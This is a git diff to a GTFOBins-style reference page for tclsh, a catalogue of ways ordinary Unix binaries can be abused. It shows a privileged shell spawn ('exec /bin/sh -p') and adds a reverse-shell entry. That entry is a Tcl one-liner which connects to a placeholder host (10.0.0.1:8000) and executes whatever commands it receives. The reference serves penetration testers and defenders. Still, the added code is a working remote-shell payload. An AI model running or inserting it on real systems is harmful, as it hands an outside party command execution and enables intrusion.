diff --git a/_gtfobins/tclsh.md b/_gtfobins/tclsh.md index e36598f..a292ad7 100644 --- a/_gtfobins/tclsh.md +++ b/_gtfobins/tclsh.md @@ -12,4 +12,10 @@ functions: - code: | ./tclsh exec /bin/sh -p <@stdin >@stdout 2>@stderr + reverse-shell: + - description: + code: | + export RHOST=10.0.0.1 + export RPORT=8000 + echo 'set s [socket $::env(RHOST) $::env(RPORT)];while 1 { puts -nonewline $s "> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh --- \ No newline at end of file